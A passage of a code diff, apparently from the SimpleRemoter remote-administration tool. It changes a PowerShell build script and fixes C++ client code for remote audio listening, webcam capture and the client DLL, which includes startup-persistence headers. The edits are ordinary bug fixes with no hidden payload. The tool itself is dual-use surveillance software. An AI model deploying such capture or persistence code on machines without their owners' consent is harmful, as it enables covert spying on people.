Write-Host " Use letters, digits, underscore, dot or dash, and do not start with a symbol." -ForegroundColor Yellow
|
||||
exit 1
|
||||
}
|
||||
if ($ClientOnly) {
|
||||
Write-Host "WARNING: -ServerName does not apply to -ClientOnly (client output is always ghost.exe), ignored." -ForegroundColor Yellow
|
||||
$ServerName = ""
|
||||
}
|
||||
}
|
||||
$serverTargetName = if ($ServerName) { $ServerName } else { "Yama" }
|
||||
|
||||
# Build Go fallback server. No-op (with warning) if Go compiler is not installed.
|
||||
# When -Compress is set, run UPX --best on the output (mirrors C++ publish flow).
|
||||
function Build-GoServer {
|
||||
param(
|
||||
[string]$Configuration,
|
||||
[switch]$Compress
|
||||
[switch]$Compress,
|
||||
# "linux" cross-compiles an ELF binary from Windows (CGO off). Output
|
||||
# name matches the ReadMe/Makefile convention so the artifact can be
|
||||
# scp'd as-is.
|
||||
[ValidateSet("windows", "linux")]
|
||||
[string]$TargetOS = "windows"
|
||||
)
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "Building Go server (server/go)..." -ForegroundColor Magenta
|
||||
Write-Host "Building Go server (server/go) for $TargetOS..." -ForegroundColor Magenta
|
||||
|
||||
$goCmd = Get-Command go -ErrorAction SilentlyContinue
|
||||
if (-not $goCmd) {
|
||||
@@ -63,14 +91,62 @@ function Build-GoServer {
|
||||
|
||||
if (-not (Test-Path $binDir)) { New-Item -ItemType Directory -Path $binDir -Force | Out-Null }
|
||||
|
||||
$outFile = Join-Path $binDir "YamaGo_x64.exe"
|
||||
$outFile = if ($TargetOS -eq "linux") {
|
||||
Join-Path $binDir "server_linux_amd64"
|
||||
} else {
|
||||
Join-Path $binDir "YamaGo_x64.exe"
|
||||
}
|
||||
|
||||
# Version/commit metadata injected into serverInfo and get_server_status.
|
||||
# Empty when git is unavailable (source tarball, IDE build) — the server
|
||||
# then reports no version rather than a fabricated one.
|
||||
$gitVersion = ""
|
||||
$gitCommit = ""
|
||||
if (Get-Command git -ErrorAction SilentlyContinue) {
|
||||
$gitVersion = (& git -C $rootDir describe --tags --always --dirty 2>$null | Select-Object -First 1)
|
||||
if ($LASTEXITCODE -ne 0 -or -not $gitVersion) { $gitVersion = "" } else { $gitVersion = "$gitVersion".Trim() }
|
||||
$gitCommit = (& git -C $rootDir rev-parse --short HEAD 2>$null | Select-Object -First 1)
|
||||
if ($LASTEXITCODE -ne 0 -or -not $gitCommit) { $gitCommit = "" } else { $gitCommit = "$gitCommit".Trim() }
|
||||
}
|
||||
$buildinfoPkg = "github.com/yuanyuanxiang/SimpleRemoter/server/go/buildinfo"
|
||||
$ldflagParts = @()
|
||||
# Release strips debug info for smaller binary; Debug keeps symbols.
|
||||
$ldflags = if ($Configuration -eq "Debug") { "" } else { "-s -w" }
|
||||
if ($Configuration -ne "Debug") { $ldflagParts += @("-s", "-w") }
|
||||
if ($gitVersion) { $ldflagParts += @("-X", "$buildinfoPkg.Version=$gitVersion") }
|
||||
if ($gitCommit) { $ldflagParts += @("-X", "$buildinfoPkg.Commit=$gitCommit") }
|
||||
$ldflags = $ldflagParts -join " "
|
||||
if ($gitVersion) {
|
||||
Write-Host "Version: $gitVersion ($gitCommit)" -ForegroundColor DarkGray
|
||||
}
|
||||
|
||||
# Save the caller's Go env so a direct .\build.ps1 invocation does not
|
||||
# leave GOOS=linux behind for later builds in the same shell.
|
||||
$oldGoos = $env:GOOS
|
||||
$oldGoarch = $env:GOARCH
|
||||
$oldCgoEnabled = $env:CGO_ENABLED
|
||||
|
||||
Push-Location $goDir
|
||||
try {
|
||||
$env:GOOS = "windows"
|
||||
$env:GOOS = $TargetOS
|
||||
$env:GOARCH = "amd64"
|
||||
# Cross-compiling for Linux requires a pure-Go build; the server has
|
||||
# no cgo dependencies, so this is the normal configuration.
|
||||
if ($TargetOS -eq "linux") { $env:CGO_ENABLED = "0" }
|
||||
# Refresh the Windows resources before linking: go-winres rewrites the
|
||||
# manifest identity, FileVersion and ProductVersion from the git tag so
|
||||
# Explorer's file properties match the tag while the runtime version
|
||||
# string stays the full `git describe` output. Missing go-winres or a
|
||||
# non-git tree keeps the checked-in .syso files unchanged.
|
||||
if ($TargetOS -eq "windows" -and $gitVersion) {
|
||||
if (Get-Command go-winres -ErrorAction SilentlyContinue) {
|
||||
& go-winres make --in cmd/winres/winres.json --out cmd/rsrc --product-version git-tag --file-version git-tag
|
||||
if ($LASTEXITCODE -ne 0) {
|
||||
Write-Host "WARNING: go-winres failed; keeping existing cmd/rsrc_*.syso" -ForegroundColor Yellow
|
||||
}
|
||||
} else {
|
||||
Write-Host "WARNING: go-winres not found; version resources not refreshed (go install github.com/tc-hib/go-winres@latest)" -ForegroundColor Yellow
|
||||
}
|
||||
}
|
||||
if ($ldflags) {
|
||||
& go build -ldflags $ldflags -o $outFile ./cmd
|
||||
} else {
|
||||
@@ -79,6 +155,9 @@ function Build-GoServer {
|
||||
$code = $LASTEXITCODE
|
||||
} finally {
|
||||
Pop-Location
|
||||
$env:GOOS = $oldGoos
|
||||
$env:GOARCH = $oldGoarch
|
||||
$env:CGO_ENABLED = $oldCgoEnabled
|
||||
}
|
||||
|
||||
if ($code -ne 0) {
|
||||
@@ -92,7 +171,9 @@ function Build-GoServer {
|
||||
# In-place UPX compression. Failure is a warning, not an error — the
|
||||
# uncompressed binary is still usable, and UPX occasionally refuses on
|
||||
# certain PE sections.
|
||||
if ($Compress) {
|
||||
if ($Compress -and $TargetOS -ne "windows") {
|
||||
Write-Host "WARNING: UPX compression is skipped for $TargetOS output (script ships upx.exe only for the Windows build)." -ForegroundColor Yellow
|
||||
} elseif ($Compress) {
|
||||
Write-Host ""
|
||||
Write-Host "UPX compressing Go server..." -ForegroundColor Magenta
|
||||
if (-not (Test-Path $upxPath)) {
|
||||
@@ -114,9 +195,11 @@ function Build-GoServer {
|
||||
}
|
||||
|
||||
# Go-only fast path: skip MSBuild entirely. -Publish here means "compress the
|
||||
# Go binary too" (not the full C++ publish flow).
|
||||
if ($GoServer) {
|
||||
$ok = Build-GoServer -Configuration $Config -Compress:$Publish
|
||||
# Go binary too" (not the full C++ publish flow). -GoServerLinux cross-compiles
|
||||
# the same server for Linux into Bin\server_linux_amd64.
|
||||
if ($GoServer -or $GoServerLinux) {
|
||||
$targetOS = if ($GoServerLinux) { "linux" } else { "windows" }
|
||||
$ok = Build-GoServer -Configuration $Config -Compress:$Publish -TargetOS $targetOS
|
||||
if (-not $ok) { exit 1 }
|
||||
exit 0
|
||||
}
|
||||
@@ -228,7 +311,9 @@ function Build-Project {
|
||||
[string]$Project,
|
||||
[string]$Configuration,
|
||||
[string]$Platform,
|
||||
[bool]$ForceClean = $false
|
||||
[bool]$ForceClean = $false,
|
||||
# 额外传给 MSBuild 的 /p: 属性,例如 /p:TargetName=YamaTest
|
||||
[string[]]$ExtraProps = @()
|
||||
)
|
||||
|
||||
# Solution uses x86/x64, projects use Win32/x64 - MSBuild needs solution platform names
|
||||
@@ -246,6 +331,10 @@ function Build-Project {
|
||||
"/v:minimal" # Minimal verbosity
|
||||
)
|
||||
|
||||
if ($ExtraProps.Count -gt 0) {
|
||||
$buildArgs += $ExtraProps
|
||||
}
|
||||
|
||||
if ($Clean -or $ForceClean) {
|
||||
# Use :Rebuild target for single project rebuild
|
||||
$buildArgs[1] = "/t:${Project}:Rebuild"
|
||||
@@ -346,6 +435,9 @@ Write-Host " Config: $Config" -ForegroundColor Cyan
|
||||
Write-Host " Platform: $Platform" -ForegroundColor Cyan
|
||||
Write-Host " VS: $vsYear" -ForegroundColor Cyan
|
||||
Write-Host " Clean: $Clean" -ForegroundColor Cyan
|
||||
if ($ServerName) {
|
||||
Write-Host " Server: $serverTargetName" -ForegroundColor Cyan
|
||||
}
|
||||
if ($Publish) {
|
||||
Write-Host " UPX: Yes" -ForegroundColor Cyan
|
||||
}
|
||||
@@ -365,10 +457,15 @@ if (-not $ServerOnly) {
|
||||
}
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "Step 2: Building server (Yama)..." -ForegroundColor Magenta
|
||||
Write-Host "Step 2: Building server ($serverTargetName)..." -ForegroundColor Magenta
|
||||
|
||||
# 指定了 -ServerName 就覆盖 TargetName,让输出落到 Bin\<名称>_x64.exe,
|
||||
# 从而绕开正在运行的 Bin\Yama_x64.exe(被独占时链接会报 LNK1104)。
|
||||
$serverMsBuildProps = @()
|
||||
if ($ServerName) { $serverMsBuildProps += "/p:TargetName=$ServerName" }
|
||||
|
||||
foreach ($plat in $platforms) {
|
||||
Build-Project -Project $serverProject -Configuration $Config -Platform $plat -ForceClean $Publish
|
||||
Build-Project -Project $serverProject -Configuration $Config -Platform $plat -ForceClean $Publish -ExtraProps $serverMsBuildProps
|
||||
}
|
||||
|
||||
# UPX compression in Publish mode
|
||||
@@ -377,7 +474,7 @@ if ($Publish) {
|
||||
Write-Host ""
|
||||
Write-Host "Step 3: UPX compression..." -ForegroundColor Magenta
|
||||
|
||||
$binPath = Join-Path (Join-Path $rootDir "Bin") "Yama_x64.exe"
|
||||
$binPath = Join-Path (Join-Path $rootDir "Bin") "${serverTargetName}_x64.exe"
|
||||
|
||||
if (-not (Test-Path $upxPath)) {
|
||||
Write-Host "ERROR: UPX not found at $upxPath" -ForegroundColor Red
|
||||
@@ -429,13 +526,13 @@ if ($finalOutput) {
|
||||
# Check both possible output locations (project has custom OutputFile)
|
||||
$suffix = if ($plat -eq "x86") { "_x86" } else { "_x64" }
|
||||
if ($Config -eq "Debug") { $suffix += "d" }
|
||||
$binPath = Join-Path (Join-Path $rootDir "Bin") "Yama$suffix.exe"
|
||||
$binPath = Join-Path (Join-Path $rootDir "Bin") "${serverTargetName}${suffix}.exe"
|
||||
|
||||
$outDir = if ($plat -eq "x86") { "Release" } else { "x64\Release" }
|
||||
if ($Config -eq "Debug") {
|
||||
$outDir = if ($plat -eq "x86") { "Debug" } else { "x64\Debug" }
|
||||
}
|
||||
$stdPath = Join-Path (Join-Path $rootDir $outDir) "Yama.exe"
|
||||
$stdPath = Join-Path (Join-Path $rootDir $outDir) "${serverTargetName}.exe"
|
||||
|
||||
# Prefer Bin output, fallback to standard path
|
||||
$outPath = if (Test-Path $binPath) { $binPath } elseif (Test-Path $stdPath) { $stdPath } else { $null }
|
||||
|
||||
+73
-11
@@ -44,7 +44,9 @@ CAudio::CAudio()
|
||||
m_InAudioData[i] = new BYTE[m_ulBufferLength];
|
||||
m_InAudioHeader[i] = new WAVEHDR;
|
||||
|
||||
m_OutAudioData[i] = new BYTE[m_ulBufferLength];
|
||||
// 播放缓冲按 AUDIO_OUT_MAX(16 个 GSM 块 = 1040 字节)分配:一个包最多
|
||||
// 交给 waveOut 这么多,超出的部分在 PlayBuffer 里分多次写。
|
||||
m_OutAudioData[i] = new BYTE[AUDIO_OUT_MAX];
|
||||
m_OutAudioHeader[i] = new WAVEHDR;
|
||||
}
|
||||
}
|
||||
@@ -88,9 +90,12 @@ CAudio::~CAudio()
|
||||
|
||||
if (m_bIsWaveOutUsed) {
|
||||
waveOutReset(m_hWaveOut);
|
||||
// 这里原来 unprepare 的是 m_InAudioHeader —— 那是录音侧的头,而且上面
|
||||
// 已经 delete 掉了(悬垂指针),unprepare 的对象完全错了。播放侧要收的是
|
||||
// m_OutAudioHeader。
|
||||
for (int i = 0; i < 2; ++i) {
|
||||
if (m_InAudioHeader[i])
|
||||
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
|
||||
if (m_OutAudioHeader[i])
|
||||
waveOutUnprepareHeader(m_hWaveOut, m_OutAudioHeader[i], sizeof(WAVEHDR));
|
||||
}
|
||||
waveOutClose(m_hWaveOut);
|
||||
}
|
||||
@@ -150,6 +155,13 @@ LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize)
|
||||
|
||||
SetEvent(m_hStartRecord);
|
||||
WaitForSingleObject(m_hEventWaveIn, INFINITE);
|
||||
// 这里故意仍按 m_ulBufferLength(1000)整包返回,不用 dwBytesRecorded 裁短。
|
||||
//
|
||||
// waveIn 录 GSM610 时驱动只写整数个 65 字节块,1000 字节的缓冲实际只填 975,
|
||||
// 尾部 25 字节是驱动从未写过的残留。看着像垃圾,但播放侧按块截断时会正好把
|
||||
// 这 25 字节丢掉,所以它在线上是无害的;反过来,包长一旦小于 1000,老主控
|
||||
// (v1.4.2 及更早)的 PlayBuffer 按 m_ulBufferLength 整块 memcpy 就会越界读,
|
||||
// 读到的才是真垃圾。保持 1000 才能让新客户端连老主控。
|
||||
*dwBufferSize = m_ulBufferLength;
|
||||
return m_InAudioData[m_nWaveInIndex]; //返出真正数据
|
||||
}
|
||||
@@ -196,14 +208,60 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
|
||||
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize)
|
||||
{
|
||||
if (!m_bIsWaveOutUsed && !InitializeWaveOut()) //1 音频格式 2 播音设备
|
||||
return NULL;
|
||||
return FALSE;
|
||||
if (!szBuffer || !dwBufferSize)
|
||||
return FALSE;
|
||||
|
||||
for (int i = 0; i < dwBufferSize; i += m_ulBufferLength) {
|
||||
memcpy(m_OutAudioData[m_nWaveOutIndex], szBuffer, m_ulBufferLength);
|
||||
waveOutWrite(m_hWaveOut, m_OutAudioHeader[m_nWaveOutIndex], sizeof(WAVEHDR));
|
||||
m_nWaveOutIndex = 1 - m_nWaveOutIndex;
|
||||
// 按包截断到整数个 65 字节块,余数直接丢弃 —— 不能攒到下一包。
|
||||
//
|
||||
// waveOut 只转换整块,末尾不足一块的字节既不转换也不保留。曾经的写法是把
|
||||
// 余数攒起来跨包拼接(当成一条连续的流处理),在 Android 那种「包与包之间
|
||||
// 连续」的上行流上是对的,却把既有 Windows 客户端的监听整条搞成了噪声:
|
||||
// Windows 主机用 waveIn 录 GSM610,1000 字节的缓冲驱动只写 975 字节,尾部
|
||||
// 25 字节是驱动从未写过的堆残留,客户端把这 1000 字节整包发上来。攒余数就
|
||||
// 等于每 1000 字节往 GSM 流里插进 25 字节垃圾,块边界从第二包起全部错位。
|
||||
// 按包截断则正好丢掉这 25 字节残留,和老版本行为一致。
|
||||
//
|
||||
// 代价是发送侧必须保证「一个包 = 整数个块」:Windows 端天然满足(驱动只写
|
||||
// 整块),Android 端见 AudioHandler.h 的 975 字节整块打包。
|
||||
DWORD n = (dwBufferSize / AUDIO_GSM_BLOCK) * AUDIO_GSM_BLOCK;
|
||||
if (n == 0)
|
||||
return FALSE;
|
||||
|
||||
// 一个包可能超过一块播放缓冲,分多次写。AUDIO_OUT_MAX 本身是 65 的整数倍,
|
||||
// 所以每一段都是整块。
|
||||
for (DWORD off = 0; off < n; off += AUDIO_OUT_MAX) {
|
||||
DWORD len = n - off;
|
||||
if (len > AUDIO_OUT_MAX)
|
||||
len = AUDIO_OUT_MAX;
|
||||
if (!WriteAligned(szBuffer + off, len))
|
||||
break; // 设备忙:剩下的整块丢掉,丢整块不会破坏对齐
|
||||
}
|
||||
return true;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// 把 len 字节(必须是 65 的整数倍)交给 waveOut。两个缓冲轮转,还在队列里的不能
|
||||
// 复用:waveOutWrite 会返回 WAVERR_BUSY 且数据被静默丢弃,原实现忽略返回值,
|
||||
// 丢包没有任何痕迹。
|
||||
BOOL CAudio::WriteAligned(LPBYTE p, DWORD len)
|
||||
{
|
||||
if (!p || len == 0 || len > AUDIO_OUT_MAX ||
|
||||
(len % AUDIO_GSM_BLOCK) != 0)
|
||||
return FALSE;
|
||||
|
||||
LPWAVEHDR h = m_OutAudioHeader[m_nWaveOutIndex];
|
||||
if (h->dwFlags & WHDR_INQUEUE)
|
||||
return FALSE;
|
||||
|
||||
memcpy(m_OutAudioData[m_nWaveOutIndex], p, len);
|
||||
h->dwBufferLength = len;
|
||||
MMRESULT mmResult = waveOutWrite(m_hWaveOut, h, sizeof(WAVEHDR));
|
||||
if (mmResult != MMSYSERR_NOERROR) {
|
||||
Mprintf("waveOutWrite(%lu) failed: %u\n", len, (unsigned)mmResult);
|
||||
return FALSE;
|
||||
}
|
||||
m_nWaveOutIndex = 1 - m_nWaveOutIndex;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL CAudio::InitializeWaveOut()
|
||||
@@ -212,16 +270,20 @@ BOOL CAudio::InitializeWaveOut()
|
||||
return FALSE;
|
||||
|
||||
for (int i = 0; i < 2; ++i)
|
||||
memset(m_OutAudioData[i], 0, m_ulBufferLength); //声音数据
|
||||
memset(m_OutAudioData[i], 0, AUDIO_OUT_MAX); //声音数据
|
||||
|
||||
MMRESULT mmResult;
|
||||
mmResult = waveOutOpen(&m_hWaveOut, (WORD)WAVE_MAPPER, &(m_GSMWavefmt.wfx), (LONG)0, (LONG)0, CALLBACK_NULL);
|
||||
if (mmResult != MMSYSERR_NOERROR)
|
||||
return false;
|
||||
|
||||
m_nWaveOutIndex = 0;
|
||||
|
||||
for (int i = 0; i < 2; ++i) {
|
||||
m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i];
|
||||
m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength;
|
||||
// 按最大容量 prepare;实际每次写入的长度在 WriteAligned 里按整块数设置,
|
||||
// 只会更短,不会越过这块缓冲。
|
||||
m_OutAudioHeader[i]->dwBufferLength = AUDIO_OUT_MAX;
|
||||
m_OutAudioHeader[i]->dwFlags = 0;
|
||||
m_OutAudioHeader[i]->dwLoops = 0;
|
||||
waveOutPrepareHeader(m_hWaveOut, m_OutAudioHeader[i], sizeof(WAVEHDR));
|
||||
|
||||
@@ -11,6 +11,16 @@
|
||||
#include <MMSYSTEM.H>
|
||||
#include <MMReg.h>
|
||||
|
||||
// GSM610 的 ACM 编解码器按 65 字节块(wfx.nBlockAlign)工作。waveOutWrite /
|
||||
// waveIn 对末尾不足一块的字节既不转换也不保留,直接丢弃 —— 实测 4 个 1000 字节
|
||||
// 缓冲只播出 15360 采样(少 640),而 4 个 975 字节缓冲正好 16000。
|
||||
//
|
||||
// 所以线协议的不变式是:**一个音频包必须由整数个 65 字节块组成**。
|
||||
// 播放侧按包截断、余数丢弃(见 Audio.cpp 的 PlayBuffer);发送侧各自保证自己
|
||||
// 发出去的包是整块(Windows 端 waveIn 驱动本来就只写整块,Android 端见
|
||||
// AudioHandler.h)。余数绝不能攒到下一包 —— 原因见 PlayBuffer 的注释。
|
||||
#define AUDIO_GSM_BLOCK 65
|
||||
#define AUDIO_OUT_MAX (16 * AUDIO_GSM_BLOCK) // 1040 = 16 块 = 640ms
|
||||
|
||||
class CAudio
|
||||
{
|
||||
@@ -40,6 +50,8 @@ public:
|
||||
LPBYTE m_OutAudioData[2]; //两个数据 保持声音的连续
|
||||
BOOL PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize);
|
||||
BOOL InitializeWaveOut();
|
||||
// 把整块数据交给 waveOut。两个缓冲轮转,还在队列里的不能复用
|
||||
BOOL WriteAligned(LPBYTE p, DWORD len);
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_)
|
||||
+58
-32
@@ -4,6 +4,7 @@
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "CaptureVideo.h"
|
||||
#include <dvdmedia.h> // VIDEOINFOHEADER2:不少摄像头/驱动给的是 FORMAT_VideoInfo2
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
@@ -46,13 +47,14 @@ CCaptureVideo::~CCaptureVideo()
|
||||
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
||||
{
|
||||
Mprintf("CCaptureVideo call Open\n");
|
||||
HRESULT hResult = S_FALSE;
|
||||
HRESULT hResult = E_FAIL; // 默认失败:只有图真正跑起来才算成功
|
||||
bool graphRunning = false;
|
||||
do {
|
||||
hResult = InitCaptureGraphBuilder();
|
||||
if (FAILED(hResult))
|
||||
break;
|
||||
if (!BindVideoFilter(iDeviceID, &m_pBF)) {
|
||||
hResult = S_FALSE;
|
||||
hResult = E_FAIL; // 没有可用的 DirectShow 采集设备
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -97,10 +99,29 @@ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
||||
|
||||
//3 扑捉数据 FDO 一旦有数据就进行 回调函数调用 属于一个类
|
||||
|
||||
VIDEOINFOHEADER * vih = (VIDEOINFOHEADER*) mt.pbFormat;
|
||||
// 只按 VIDEOINFOHEADER 解释 mt.pbFormat 不够:很多摄像头/驱动(尤其
|
||||
// 笔记本内置摄像头)给出的格式是 FORMAT_VideoInfo2,两者头部布局不同,
|
||||
// 直接强转会读出垃圾宽高,后面按它分配缓冲/逐帧 memcpy 就会崩。两种都认,
|
||||
// 其它格式或非法尺寸一律当失败处理,让上层优雅退出而不是带病跑。
|
||||
BITMAPINFOHEADER* bmi = NULL;
|
||||
if (mt.formattype == FORMAT_VideoInfo && mt.pbFormat != NULL
|
||||
&& mt.cbFormat >= sizeof(VIDEOINFOHEADER)) {
|
||||
bmi = &((VIDEOINFOHEADER*)mt.pbFormat)->bmiHeader;
|
||||
} else if (mt.formattype == FORMAT_VideoInfo2 && mt.pbFormat != NULL
|
||||
&& mt.cbFormat >= sizeof(VIDEOINFOHEADER2)) {
|
||||
bmi = &((VIDEOINFOHEADER2*)mt.pbFormat)->bmiHeader;
|
||||
}
|
||||
if (bmi == NULL || bmi->biWidth <= 0 || bmi->biHeight == 0
|
||||
|| bmi->biWidth > 16384 || abs(bmi->biHeight) > 16384) {
|
||||
Mprintf("CCaptureVideo: unsupported media type (formattype=%08lx cbFormat=%lu), abort\n",
|
||||
(unsigned long)mt.formattype.Data1, (unsigned long)mt.cbFormat);
|
||||
FreeMediaType(mt);
|
||||
hResult = E_FAIL;
|
||||
break;
|
||||
}
|
||||
//mCB 是个另外一个类 并且全局变量 有个回调
|
||||
mCB.m_ulFullWidth = vih->bmiHeader.biWidth;
|
||||
mCB.m_ulFullHeight = vih->bmiHeader.biHeight;
|
||||
mCB.m_ulFullWidth = (ULONG)bmi->biWidth;
|
||||
mCB.m_ulFullHeight = (ULONG)abs(bmi->biHeight);
|
||||
|
||||
FreeMediaType(mt);
|
||||
|
||||
@@ -120,11 +141,19 @@ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
||||
|
||||
if(FAILED(hResult))
|
||||
break;
|
||||
// IMediaControl::Run 在「状态切换尚未完成、稍后异步完成」时会返回 S_FALSE,
|
||||
// 这时图已经在跑、SampleGrabber 回调随时会到。以前把它原样返回给上层,
|
||||
// 上层用 == S_OK 判断就误判成「摄像头没打开」并提前中止(8d4c118 引入),
|
||||
// 而回调随后拿还没分配的 m_BitmapData_Full 做 memcpy —— 写地址 0 崩溃。
|
||||
hResult = S_OK;
|
||||
graphRunning = true;
|
||||
} while (false);
|
||||
|
||||
Mprintf("CCaptureVideo Open %s\n", FAILED(hResult) ? "failed" : "succeed");
|
||||
Mprintf("CCaptureVideo Open %s (hr=%08lX)\n",
|
||||
graphRunning ? "succeed" : "failed", (unsigned long)hResult);
|
||||
|
||||
return hResult;
|
||||
// 图没跑起来时一律返回失败码(S_FALSE 也是「成功」语义,会让上层误判)
|
||||
return graphRunning ? S_OK : (FAILED(hResult) ? hResult : E_FAIL);
|
||||
}
|
||||
|
||||
|
||||
@@ -164,43 +193,40 @@ LPBITMAPINFO CCaptureVideo::GetBmpInfor()
|
||||
|
||||
BOOL CCaptureVideo::BindVideoFilter(int deviceId, IBaseFilter **pFilter)
|
||||
{
|
||||
if (deviceId < 0)
|
||||
if (deviceId < 0 || pFilter == NULL)
|
||||
return FALSE;// enumerate all video capture devices
|
||||
*pFilter = NULL;
|
||||
|
||||
CComPtr<ICreateDevEnum> pCreateDevEnum;
|
||||
HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum, NULL, CLSCTX_INPROC_SERVER,
|
||||
IID_ICreateDevEnum, (void**)&pCreateDevEnum);
|
||||
if (hr != NOERROR) {
|
||||
if (hr != NOERROR)
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
CComPtr<IEnumMoniker> pEm;
|
||||
hr = pCreateDevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory,&pEm, 0);
|
||||
if (hr != NOERROR) {
|
||||
hr = pCreateDevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory, &pEm, 0);
|
||||
if (hr != S_OK) // S_FALSE = 该类别下没有任何 DirectShow 设备
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
pEm->Reset();
|
||||
ULONG cFetched;
|
||||
IMoniker *pM;
|
||||
ULONG cFetched = 0;
|
||||
IMoniker* pM = NULL;
|
||||
int index = 0;
|
||||
while(hr = pEm->Next(1, &pM, &cFetched), hr==S_OK, index <= deviceId) {
|
||||
IPropertyBag *pBag;
|
||||
//通过BindToStorage 可以访问该设备的标识集
|
||||
hr = pM->BindToStorage(0, 0, IID_IPropertyBag, (void **)&pBag);
|
||||
if(SUCCEEDED(hr)) {
|
||||
VARIANT var;
|
||||
var.vt = VT_BSTR;
|
||||
hr = pBag->Read(L"FriendlyName", &var, NULL);
|
||||
if (hr == NOERROR) {
|
||||
if (index == deviceId) {
|
||||
pM->BindToObject(0, 0, IID_IBaseFilter, (void**)pFilter);
|
||||
}
|
||||
SysFreeString(var.bstrVal);
|
||||
}
|
||||
pBag->Release(); //引用计数--
|
||||
// 原实现写成逗号表达式 `while (hr = Next(...), hr == S_OK, index <= deviceId)`:
|
||||
// 循环条件实际只看 index,枚举结束后还会继续用未初始化/已释放的 pM 调
|
||||
// BindToStorage。机器上 VFW 能枚举到摄像头、DirectShow 却一个都没有时必崩。
|
||||
while (pEm->Next(1, &pM, &cFetched) == S_OK && pM != NULL) {
|
||||
if (index == deviceId) {
|
||||
hr = pM->BindToObject(0, 0, IID_IBaseFilter, (void**)pFilter);
|
||||
pM->Release();
|
||||
return SUCCEEDED(hr) && *pFilter != NULL;
|
||||
}
|
||||
pM->Release();
|
||||
index++;
|
||||
pM = NULL;
|
||||
++index;
|
||||
}
|
||||
return TRUE;
|
||||
Mprintf("CCaptureVideo: no DirectShow video device #%d (enumerated %d)\n", deviceId, index);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
+21
-4
@@ -123,10 +123,19 @@ public:
|
||||
|
||||
LPBITMAPINFO ConstructBI(ULONG ulbiBitCount)
|
||||
{
|
||||
int ColorNum = ulbiBitCount <= 8 ? 1 << ulbiBitCount : 0;
|
||||
ULONG ulBitmapLength = sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); //BITMAPINFOHEADER + 调色板的个数
|
||||
// 宽高来自摄像头驱动,必须挡住 0/超大值:否则 biSizeImage 会溢出成小值,
|
||||
// 之后每帧 memcpy 都变成堆越界——「换一台机器一开视频就崩」多半出在这里。
|
||||
if (m_ulFullWidth == 0 || m_ulFullHeight == 0
|
||||
|| m_ulFullWidth > 16384 || m_ulFullHeight > 16384)
|
||||
return NULL;
|
||||
|
||||
m_BitmapInfor_Full = (BITMAPINFO *) new BYTE[ulBitmapLength];
|
||||
// 分配「头部 + 完整 256 项调色板」:BITMAPINFO 本身只声明 bmiColors[1]
|
||||
// (sizeof=44),而按 biBitCount 索引调色板的调用方会读到 44 字节之外。
|
||||
// 当前只以 24bpp 调用(RGBQUAD 用不到),但按最大调色板预留 1KB 最省心,
|
||||
// 也顺便修正了旧代码分配 40 字节、SendBitMapInfor 按 44 字节读取的越界。
|
||||
const size_t biSize = sizeof(BITMAPINFOHEADER) + 256 * sizeof(RGBQUAD);
|
||||
m_BitmapInfor_Full = (BITMAPINFO*) new BYTE[biSize];
|
||||
ZeroMemory(m_BitmapInfor_Full, biSize);
|
||||
|
||||
BITMAPINFOHEADER* BitmapInforHeader = &(m_BitmapInfor_Full->bmiHeader);
|
||||
|
||||
@@ -192,8 +201,16 @@ public:
|
||||
}
|
||||
|
||||
if (bStact==CMD_CAN_COPY) { //未初始化 发送的同差异的一样
|
||||
// 驱动送来的帧可能比协商格式大(分辨率切换、格式回退、驱动自带填充):
|
||||
// 不校验长度就 memcpy 会直接把堆写坏,表现就是进程当场崩溃。
|
||||
// 注意必须返回 S_OK:BufferCB 返回错误可能让 SampleGrabber 停流,
|
||||
// 那会让「图刚跑起来、缓冲区还没建好」时的第一帧把整条视频流掐死。
|
||||
if (m_BitmapData_Full == NULL || m_dwSize == 0 || ulBufferSize <= 0
|
||||
|| (unsigned long)ulBufferSize > m_dwSize) {
|
||||
return S_OK; // 丢这一帧,保持数据流
|
||||
}
|
||||
//将图像数据拷贝的我们的内存
|
||||
memcpy(m_BitmapData_Full,szBuffer,ulBufferSize); //位图
|
||||
memcpy(m_BitmapData_Full,szBuffer,(size_t)ulBufferSize); //位图
|
||||
|
||||
InterlockedExchange((LPLONG)&bStact,CMD_CAN_SEND); //原子自增可以发送
|
||||
return S_OK;
|
||||
|
||||
+246
-30
@@ -5,9 +5,12 @@
|
||||
#include "ClientDll.h"
|
||||
#include "ActivityHistory.h"
|
||||
#include <common/iniFile.h>
|
||||
#include "start_gate.h"
|
||||
#include <common/LANChecker.h>
|
||||
#include <common/VerifyV2.h>
|
||||
#include <intrin.h> // for __cpuid, __cpuidex
|
||||
#include <mutex>
|
||||
#include <set>
|
||||
extern "C" {
|
||||
#include "reg_startup.h"
|
||||
#include "ServiceWrapper.h"
|
||||
@@ -83,6 +86,122 @@ ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared,
|
||||
return a;
|
||||
}
|
||||
|
||||
// ----- 分享实例登记表 -------------------------------------------------------
|
||||
//
|
||||
